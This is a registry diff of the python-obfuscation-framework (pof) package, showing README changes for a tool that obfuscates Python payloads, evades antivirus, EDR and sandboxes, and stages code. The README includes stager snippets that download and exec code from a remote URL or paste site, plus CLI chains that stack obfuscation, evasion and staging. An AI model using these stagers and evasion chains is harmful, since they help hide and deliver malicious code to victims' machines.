python-obfuscation-framework 1.4.2__tar.gz → 1.4.3__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (155) hide show
  1. {python_obfuscation_framework-1.4.2/python_obfuscation_framework.egg-info → python_obfuscation_framework-1.4.3}/PKG-INFO +84 -81
  2. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/README.md +83 -80
  3. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/cli.py +10 -8
  4. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/argv.py +1 -1
  5. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/time/expire.py +2 -2
  6. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/main.py +3 -3
  7. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/names_rope.py +1 -3
  8. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/numbers.py +1 -3
  9. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/image.py +12 -1
  10. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3/python_obfuscation_framework.egg-info}/PKG-INFO +84 -81
  11. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/setup.py +1 -1
  12. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/LICENSE +0 -0
  13. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/MANIFEST.in +0 -0
  14. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/__init__.py +0 -0
  15. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/__main__.py +0 -0
  16. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/errors.py +0 -0
  17. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/__init__.py +0 -0
  18. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/base.py +0 -0
  19. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/cpu/__init__.py +0 -0
  20. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/cpu/cpu_count.py +0 -0
  21. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/__init__.py +0 -0
  22. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/directory_exist.py +0 -0
  23. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/directory_list_exist.py +0 -0
  24. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/directory_list_missing.py +0 -0
  25. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/directory_missing.py +0 -0
  26. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/exec_method.py +0 -0
  27. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/executable_path.py +0 -0
  28. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/file_exist.py +0 -0
  29. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/file_list_exist.py +0 -0
  30. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/file_list_missing.py +0 -0
  31. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/file_missing.py +0 -0
  32. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/fs/tmp.py +0 -0
  33. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/hardware/__init__.py +0 -0
  34. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/hardware/ram_count.py +0 -0
  35. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/hooks/__init__.py +0 -0
  36. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/hooks/debugger.py +0 -0
  37. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/hooks/tracemalloc.py +0 -0
  38. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/human/__init__.py +0 -0
  39. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/human/p.py +0 -0
  40. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/human/prompt.py +0 -0
  41. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/integrity.py +0 -0
  42. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/multi.py +0 -0
  43. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/os/__init__.py +0 -0
  44. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/os/domain.py +0 -0
  45. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/os/hostname.py +0 -0
  46. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/os/uid.py +0 -0
  47. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/os/username.py +0 -0
  48. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/processes/__init__.py +0 -0
  49. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/processes/proc_count.py +0 -0
  50. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/time/__init__.py +0 -0
  51. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/time/uptime.py +0 -0
  52. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/time/utc.py +0 -0
  53. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/evasion/utils.py +0 -0
  54. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/__init__.py +0 -0
  55. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/builtins.py +0 -0
  56. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/cipher/__init__.py +0 -0
  57. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/cipher/deep_encryption.py +0 -0
  58. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/cipher/rc4.py +0 -0
  59. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/cipher/shift.py +0 -0
  60. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/cipher/xor.py +0 -0
  61. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/compression/__init__.py +0 -0
  62. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/compression/bz2.py +0 -0
  63. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/compression/gzip.py +0 -0
  64. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/compression/lzma.py +0 -0
  65. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/compression/zlib.py +0 -0
  66. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/constants.py +0 -0
  67. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/definitions.py +0 -0
  68. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/encoding/__init__.py +0 -0
  69. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/encoding/a85.py +0 -0
  70. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/encoding/b16.py +0 -0
  71. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/encoding/b32.py +0 -0
  72. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/encoding/b32hex.py +0 -0
  73. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/encoding/b64.py +0 -0
  74. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/encoding/b85.py +0 -0
  75. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/encoding/binascii.py +0 -0
  76. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/encoding/snt.py +0 -0
  77. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/esoteric/__init__.py +0 -0
  78. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/esoteric/call.py +0 -0
  79. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/esoteric/doc.py +0 -0
  80. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/esoteric/globals.py +0 -0
  81. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/esoteric/imports.py +0 -0
  82. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/extract_variables.py +0 -0
  83. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/junk/__init__.py +0 -0
  84. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/junk/add_comments.py +0 -0
  85. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/junk/add_newlines.py +0 -0
  86. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/names.py +0 -0
  87. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/other/__init__.py +0 -0
  88. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/other/tokens.py +0 -0
  89. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/remove/__init__.py +0 -0
  90. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/remove/comments.py +0 -0
  91. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/remove/exceptions.py +0 -0
  92. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/remove/indents.py +0 -0
  93. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/remove/loggings.py +0 -0
  94. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/remove/loggings_old.py +0 -0
  95. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/remove/newline.py +0 -0
  96. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/remove/print.py +0 -0
  97. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/restructure.py +0 -0
  98. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/stegano/__init__.py +0 -0
  99. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/stegano/docstrings.py +0 -0
  100. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/stegano/ipv6encoding.py +0 -0
  101. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/stegano/macencoding.py +0 -0
  102. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/stegano/uuidencoding.py +0 -0
  103. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/obfuscator/strings.py +0 -0
  104. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/__init__.py +0 -0
  105. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/cipher/__init__.py +0 -0
  106. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/cipher/rc4.py +0 -0
  107. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/download.py +0 -0
  108. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/lots/__init__.py +0 -0
  109. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/lots/cl1pnet.py +0 -0
  110. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/lots/pastebin.py +0 -0
  111. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/lots/pasters.py +0 -0
  112. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/stager/quine.py +0 -0
  113. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/__init__.py +0 -0
  114. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/cipher/__init__.py +0 -0
  115. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/cipher/rc4.py +0 -0
  116. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/cipher/shift.py +0 -0
  117. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/compression/__init__.py +0 -0
  118. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/compression/bz2.py +0 -0
  119. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/compression/gzip.py +0 -0
  120. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/compression/lzma.py +0 -0
  121. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/compression/zlib.py +0 -0
  122. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/__init__.py +0 -0
  123. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/a85.py +0 -0
  124. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/b16.py +0 -0
  125. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/b3.py +0 -0
  126. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/b32.py +0 -0
  127. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/b32hex.py +0 -0
  128. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/b64.py +0 -0
  129. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/b85.py +0 -0
  130. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/binascii.py +0 -0
  131. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/encoding/snt.py +0 -0
  132. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/entropy.py +0 -0
  133. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/extract_names.py +0 -0
  134. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/generator/__init__.py +0 -0
  135. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/generator/advanced.py +0 -0
  136. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/generator/base.py +0 -0
  137. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/generator/basic.py +0 -0
  138. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/generator/names.txt +0 -0
  139. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/generator/unicode.py +0 -0
  140. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/se/__init__.py +0 -0
  141. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/se/homoglyphs.py +0 -0
  142. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/se/homoglyphs.txt +0 -0
  143. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/stegano/__init__.py +0 -0
  144. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/stegano/ipv6encoding.py +0 -0
  145. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/stegano/macencoding.py +0 -0
  146. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/stegano/uuidencoding.py +0 -0
  147. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pof/utils/tokens.py +0 -0
  148. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/pyproject.toml +0 -0
  149. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/python_obfuscation_framework.egg-info/SOURCES.txt +0 -0
  150. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/python_obfuscation_framework.egg-info/dependency_links.txt +0 -0
  151. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/python_obfuscation_framework.egg-info/entry_points.txt +0 -0
  152. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/python_obfuscation_framework.egg-info/not-zip-safe +0 -0
  153. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/python_obfuscation_framework.egg-info/requires.txt +0 -0
  154. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/python_obfuscation_framework.egg-info/top_level.txt +0 -0
  155. {python_obfuscation_framework-1.4.2 → python_obfuscation_framework-1.4.3}/setup.cfg +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.1
2
2
  Name: python-obfuscation-framework
3
- Version: 1.4.2
3
+ Version: 1.4.3
4
4
  Summary: Python Obfuscation Framework.
5
5
  Home-page: https://github.com/deoktr/pof
6
6
  Author: deoktr
@@ -75,6 +75,7 @@ pof will allow you to:
75
75
  - do **evasion**: AV, EDR, DPI, sandbox and other analysis techniques
76
76
  - slow **analysis**: slow down human analysis of the payload
77
77
  - enable **automation**: automate the whole process, to produce numerous variant of the payload
78
+ - be **cross-platform**: works on Linux, Windows, and macOS
78
79
  - have **fun**: because it's always fun to see what's possible to do with Python
79
80
 
80
81
  This project also tries to combine all other Python obfuscation tools available, because most of them only provide a single method, and it's pretty basic. So you should be able to do everything that those other tools do, but without having to use multiple.
@@ -85,19 +86,9 @@ This project could also give you ideas to implement in other languages, such as
85
86
 
86
87
  You could also use most of the stagers to stage payload that are not built in Python.
87
88
 
88
- ## Shortcomings
89
-
90
- Any obfuscation techniques that add code complexity will make the code run slower. For most usage this won't have an impact, and no one is using Python for speed anyway (at least I hope).
91
-
92
- Encoding, compression, encryption will slow the start of the programs, because it will first have to decode, de-compress, or decrypt it.
93
-
94
- Strings, numbers, builtin, obfuscators will make the code run slower, because they will add complexity to many parts of it.
95
-
96
- And finally the 'classical' techniques, names, definitions won't have an impact on the speed of the code, because they'll simply rename elements of the code.
97
-
98
89
  ## Install
99
90
 
100
- There are 3 installation options, with PIP, a virtualenv, or a Docker container.
91
+ There are 4 installation options, with PIP, a virtualenv, a Docker container, or with Nix.
101
92
 
102
93
  ### 1. PIP
103
94
 
@@ -107,7 +98,7 @@ From [pypi](https://pypi.org/project/python-obfuscation-framework):
107
98
  pip install python-obfuscation-framework
108
99
  ```
109
100
 
110
- ### 2. Python
101
+ ### 2. Source
111
102
 
112
103
  ```bash
113
104
  git clone https://github.com/deoktr/pof
@@ -128,43 +119,55 @@ docker build -t pof .
128
119
  docker run --rm -it pof --help
129
120
  ```
130
121
 
131
- Run inside Docker from a file.
122
+ Run inside Docker from a local file `in.py`:
132
123
 
133
124
  ```bash
134
- docker run --rm -v $(pwd):/tmp -it pof -o /tmp/output.py /tmp/input.py
125
+ docker run --rm -v $(pwd):/tmp -it pof /tmp/in.py -o /tmp/out.py
135
126
  ```
136
127
 
137
- ## Usage
128
+ ### 4. Nix
138
129
 
139
- You can either pipe or give a file for input, same for output.
130
+ From [github.com/onix-sec/nixsecpkgs](https://github.com/onix-sec/nixsecpkgs):
140
131
 
141
132
  ```bash
142
- echo "print('Hello, world')" | pof
133
+ nix shell github:onix-sec/nixsecpkgs#pof
143
134
  ```
144
135
 
145
- Output:
136
+ ## Usage
146
137
 
147
- ```python
148
- from base64 import b64decode as CRT_ASSERT
149
- from base64 import b85decode as _45802
150
- UserClassSlots=__builtins__.__dict__.__getitem__(_45802(''[::-1]).decode().join([__builtins__.__getattribute__("".join([chr(ord(i)-3)for i in'ukf'[::-1]]))(__builtins__.__getattribute__('\u006f\u0072\u0064')(i)-(__name__.__eq__.__call__(__name__)+__name__.__eq__.__call__(__name__)+__name__.__eq__(__name__)))for i in CRT_ASSERT('c3VscXc=').decode()]))
151
- UserClassSlots(CRT_ASSERT('').decode().join([__builtins__.__getattribute__("".join([chr(ord(i)-3)for i in'']).join([chr(ord(i)-3)for i in'parse_intermixed_argsu'.replace('parse_intermixed_args','fk')]))(__builtins__.__dict__.__getitem__(_45802('L}g}jVP{fhb9HQVa%2').decode().replace("".join([chr(ord(i)-3)for i in'GhiudjUhvxow']),'o'[::-1]))(i)-(__name__.__eq__.__call__(__name__)+globals()["".join([chr(ord(i)-3)for i in'bbvqlwolxebb'])[::-1]].__dict__["".join([chr(ord(i)-3)for i in'']).join([chr(ord(i)-3)for i in'Wuxsimple_stmt'.replace('simple_stmt','h')])]+(type(1)==type(1))))for i in'gourz#/r_pfK'[::-1].replace(_45802('W^i9}').decode(),CRT_ASSERT('aG9vcg==').decode())]))
152
- ```
138
+ ```bash
139
+ # pipe input and output to stdout
140
+ echo "print('Hello, world')" | pof
153
141
 
154
- And yes, this is a valid Python script, that actually runs and only output `Hello world` ! And you'll get a different output each time.
142
+ # output to file
143
+ pof in.py -o out.py
155
144
 
156
- Using a specific obfuscator:
145
+ # redirect to file
146
+ pof in.py > out.py
157
147
 
158
- ```bash
148
+ # pipe to python to run it
149
+ pof in.py | python
150
+
151
+ # obfuscator
159
152
  pof in.py -o out.py -f obfuscator -k BuiltinsObfuscator
160
- ```
161
153
 
162
- Using a specific payload:
154
+ # stager
155
+ pof in.py -o out.py -f stager -k PasteRsStager
163
156
 
164
- ```bash
165
- pof inf.py -o out.py -f payload -k GzipPayload
157
+ # evasion
158
+ pof in.py -o out.py -f evasion -k CPUCountEvasion
159
+
160
+ # evasion with custom params
161
+ pof in.py -o out.py -f evasion -k CPUCountEvasion min_cpu_count=4
162
+
163
+ # combine everything from the CLI
164
+ pof in.py -f obfuscator -k BuiltinsObfuscator |\
165
+ pof -f evasion -k CPUCountEvasion min_cpu_count=4 |\
166
+ pof -f stager -k PasteRsStager > out.py
166
167
  ```
167
168
 
169
+ You can also use the Python API directly, you can find examples in the corresponding directory or bellow.
170
+
168
171
  ## Examples
169
172
 
170
173
  These are examples of obfuscators of the script `print('Hello, world')`.
@@ -187,40 +190,24 @@ echo "print('Hello, world')" | pof -f obfuscator -k UUIDObfuscator | python
187
190
 
188
191
  #### StringsObfuscator
189
192
 
190
- Reverse.
191
-
192
193
  ```python
194
+ # Reverse
193
195
  print('dlrow ,olleH'[::-1])
194
- ```
195
-
196
- Replace.
197
196
 
198
- ```python
197
+ # Replace
199
198
  rint('Helnelemd'.replace('nelem','lo, worl'))
200
- ```
201
199
 
202
- Unicode.
203
-
204
- ```python
200
+ # Unicode
205
201
  print('\u0048\u0065\u006c\u006c\u006f\u002c\u0020\u0077\u006f\u0072\u006c\u0064')
206
- ```
207
-
208
- Shift cipher.
209
202
 
210
- ```python
203
+ # Shift cipher
211
204
  print("".join([chr(ord(i)-3)for i in'Khoor/#zruog']))
212
- ```
213
205
 
214
- Base 64 encoding.
215
-
216
- ```python
206
+ # Base 64 encoding
217
207
  from base64 import b64decode
218
208
  print(b64decode( b'SGVsbG8sIHdvcmxk').decode())
219
- ```
220
-
221
- Base 85.
222
209
 
223
- ```python
210
+ # Base 85
224
211
  from base64 import b85decode
225
212
  print(b85decode( b'NM&qnZ!92pZ*pv8').decode())
226
213
  ```
@@ -229,33 +216,20 @@ print(b85decode( b'NM&qnZ!92pZ*pv8').decode())
229
216
 
230
217
  Source: `print(42)`
231
218
 
232
- String.
233
-
234
219
  ```python
220
+ # String
235
221
  print(int('42'))
236
- ```
237
222
 
238
- Addition.
239
-
240
- ```python
223
+ # Addition
241
224
  print((int(35+7)))
242
- ```
243
-
244
- Hex.
245
225
 
246
- ```python
226
+ # Hex
247
227
  print(int('0x2a',0))
248
- ```
249
228
 
250
- Len.
251
-
252
- ```python
229
+ # Len
253
230
  print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'))
254
- ```
255
231
 
256
- Boolean.
257
-
258
- ```python
232
+ # Boolean
259
233
  print((True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True+True))
260
234
  ```
261
235
 
@@ -283,17 +257,11 @@ Obfuscate builtins functions using one of the following methods.
283
257
 
284
258
  ```python
285
259
  __builtins__.__getattribute__('print')('Hello, world')
286
- ```
287
260
 
288
- ```python
289
261
  __builtins__.__dict__['print']('Hello, world')
290
- ```
291
262
 
292
- ```python
293
263
  globals()['__builtins__'].__dict__['print']('Hello, world')
294
- ```
295
264
 
296
- ```python
297
265
  __builtins__.__dict__.__getitem__('print')('Hello, world')
298
266
  ```
299
267
 
@@ -541,7 +509,7 @@ print(oct.__doc__[8])
541
509
 
542
510
  ```python
543
511
  from urllib import request
544
- exec(request.urlopen("http://link...").read())
512
+ exec(request.urlopen("https://example.com/payload.py").read())
545
513
  ```
546
514
 
547
515
  #### ImageStager
@@ -577,7 +545,14 @@ from urllib import request
577
545
  exec(request.urlopen("https://pastebin.com/raw/...").read())
578
546
  ```
579
547
 
580
- The `PasteRsStager` and `Cl1pNetStager` are exactly the same, but the code is not uploaded to the same site.
548
+ > [!NOTE]
549
+ > You'll need to add a pastebin API key:
550
+ >
551
+ > ```bash
552
+ > echo "print('Hello, world')" | pof -f stager -k PastebinStager api_dev_key=foo
553
+ > ```
554
+
555
+ The `PasteRsStager` and `Cl1pNetStager` are exactly the same, but the code is not uploaded to the same site. But `PasteRsStager` doesn't require an API key.
581
556
 
582
557
  #### RC4Stager
583
558
 
@@ -628,6 +603,12 @@ For this example, the randomly generated key is:
628
603
  TzyaoOa2e4wimAo1AGgeWO5ztZtLzqWo5Wl9OXLWP0r5QmjFO8VvIao6NfqHxMBZCXekiqGDcmFugz10F2wS8UlOtUJB2muLsSxVWoJhq1fKWaZHbiYPd7SSdPhqHMRV1fQkJax5sLssaB43AlHFrx4rJYMvkCjPebHUdjW2l0c8af5cNs60v4dRE3zw2myNZTcrbsbpvogSGYOz21rAXlEZn2y0lbDIpWwI1ZHf8i5vAGxnPPPH9i7OQIMZEunerDbY7cyzHRcZGU1nsVyEmlILGf37NYTxLagRkC6GJP5NCmqboyP5It6bF6AuihUkjLTXTMvrgxfNlMs4g3BkHqZIGjNxFHj6zSB3jhOtOQ9l3zOG36dsMKSye78Xxmn7JjoW5nH76E05QJMBALapu0LaVppSSpSUrpYR2bmwGdbuJNZd7qLL6Yy6vNptSIKcG6Vi6DiFLk7afCw9h9fLdyUC1Ng1sGwt0Jhdf0XnuBedFx6diWYzCrYgWZeM1VnC
629
604
  ```
630
605
 
606
+ So we could call it like this:
607
+
608
+ ```bash
609
+ python3 out.py TzyaoO...
610
+ ```
611
+
631
612
  #### QuineStager
632
613
 
633
614
  ```python
@@ -640,6 +621,24 @@ def quine():
640
621
  exec(b64decode(esource))
641
622
  ```
642
623
 
624
+ This is most likely useless, a quine is a program that output its source code, and you can generate a quine from your source code with this.
625
+
626
+ Your script will still execute but a new function `quine` will be available, if you call it you'll have access to the source.
627
+
628
+ Example usage:
629
+
630
+ ```bash
631
+ echo "print(quine())" | pof -f stager -k QuineStager > out.py
632
+ python3 out.py > out2.py
633
+ python3 out2.py > out3.py
634
+ diff out2.py out3.py
635
+ ```
636
+
637
+ The `out2.py` and `out3.py` files are identical, they both contain the source code, and the script `print(quine())`.
638
+
639
+ > [!NOTE]
640
